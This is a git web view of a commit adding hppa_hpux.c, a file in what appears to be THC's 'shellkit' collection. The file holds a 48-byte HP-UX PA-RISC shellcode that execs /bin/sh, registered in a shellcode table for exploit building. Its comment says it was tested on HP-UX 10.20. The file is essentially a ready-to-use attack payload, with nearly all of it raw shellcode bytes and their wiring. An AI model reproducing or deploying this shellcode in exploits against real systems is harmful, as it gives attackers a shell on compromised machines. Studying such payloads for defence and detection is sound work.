summaryrefslogtreecommitdiff
path: root/other/shellkit/hppa_hpux.c
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/hppa_hpux.c
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/hppa_hpux.c')
-rw-r--r--other/shellkit/hppa_hpux.c36
1 files changed, 36 insertions, 0 deletions
diff --git a/other/shellkit/hppa_hpux.c b/other/shellkit/hppa_hpux.c
new file mode 100644
index 0000000..815fdaf
--- /dev/null
+++ b/other/shellkit/hppa_hpux.c
@@ -0,0 +1,36 @@
1
2#include <stdio.h>
3#include <stdlib.h>
4#include <string.h>
5#include "shellcode.h"
6#include "hppa.h"
7
8
9/* tested on: HP-UX B.10.20 A 9000/735
10 * lsd people used execv, we use execve, which enlarges our code by 12
11 * bytes
12 */
13shellcode hppa_hpux_execvesh = {
14 "hppa-hpux-execvesh",
15 48,
16 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
17 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
18 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
19 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41",
20};
21
22
23shellcode * hppa_hpux_shellcodes[] = {
24 &hppa_hpux_execvesh,
25 NULL,
26};
27
28arch hppa_hpux = {
29 "hppa-hpux",
30 4,
31 NULL /* hppa_nop */,
32 hppa_hpux_shellcodes,
33};
34
35
36